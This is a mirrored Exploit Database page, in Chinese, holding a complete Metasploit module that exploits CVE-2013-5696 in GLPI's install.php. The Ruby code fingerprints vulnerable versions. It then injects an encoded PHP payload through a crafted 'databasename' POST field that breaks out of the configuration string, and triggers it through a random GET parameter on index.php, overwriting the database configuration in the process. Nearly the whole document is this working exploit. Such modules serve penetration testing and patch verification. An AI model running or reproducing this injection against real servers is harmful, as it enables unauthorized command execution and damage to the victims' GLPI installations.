GLPI – ‘install.php’ Remote Command Execution (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2013-09-23
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/28483/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking # Application database configuration is overwritten
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'GLPI install.php Remote Command Execution',
  'Description'=> %q{
  This module exploits an arbitrary command execution vulnerability in the
  GLPI 'install.php' script. Users should use this exploit at his own risk,
  since it's going to overwrite database configuration.
  },
  'Author' =>
  [
  'Tristan Leiter < research[at]navixia.com >', # Navixia Research Team
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'CVE', '2013-5696' ],
  [ 'URL', 'https://www.navixia.com/blog/entry/navixia-finds-critical-vulnerabilities-in-glpi-cve-2013-5696.html' ],
  [ 'URL', 'http://www.glpi-project.org/forum/viewtopic.php?id=33762' ],
  ],
  'Privileged' => false,
  'Platform' => ['php'],
  'Payload'=>
  {
  'Space' => 4000,
  'BadChars'=> "#",
  'DisableNops' => true,
  'Keys'=> ['php']
  },
  'Arch' => ARCH_PHP,
  'Targets'=> [[ 'GLPI 0.84 or older', { }]],
  'DisclosureDate' => 'Sep 12 2013',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptString.new('TARGETURI', [true, 'The base path to GLPI', '/glpi/'])
  ], self.class)
  end
  
  def uri
  return target_uri.path
  end
  
  def check
  # Check if the GLPI instance is vulnerable
  res = send_request_cgi({
  'method' => 'GET',
  'uri'=> normalize_uri(uri, 'index.php'),
  })
  
  if not res or res.code != 200
  return Exploit::CheckCode::Safe
  end
  
  re = '(version)(\\s+)(.*)(\\s+)(Copyright)'
  m = Regexp.new(re, Regexp::IGNORECASE)
  matched = m.match(res.body)
  if matched and matched[3] =~ /0.(8[0-4].[0-1])|([0-7][0-9].[0-9])/
  print_good("Detected Version : #{matched[3]}")
  return Exploit::CheckCode::Appears
  elsif matched
  print_error("Version #{matched[3]} is not vulnerable")
  end
  return Exploit::CheckCode::Safe
  
  end
  
  def exploit
  print_status("Injecting the payload...")
  rand_arg = Rex::Text.rand_text_hex(10)
  res = send_request_cgi({
  'method'=> 'POST',
  'uri' => normalize_uri(uri, 'install/install.php'),
  'vars_post' =>
  {
  'install'=> 'update_1',
  'db_host'=> 'localhost',
  'db_user'=> 'root',
  'db_pass'=> 'root',
  'databasename' =>"'; } if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } /*"
  }
  })
  
  unless res and res.code == 200 and res.body =~ /You will update the GLPI database/
  print_warning("Unexpected response while injecting the payload, trying to execute anyway...")
  end
  
  print_status("Executing the payload...")
  send_request_cgi({
  'method'=> 'GET',
  'uri' => normalize_uri(uri, 'index.php'),
  'vars_get'=>
  {
  rand_arg => '1',
  }
  })
  end
  
  end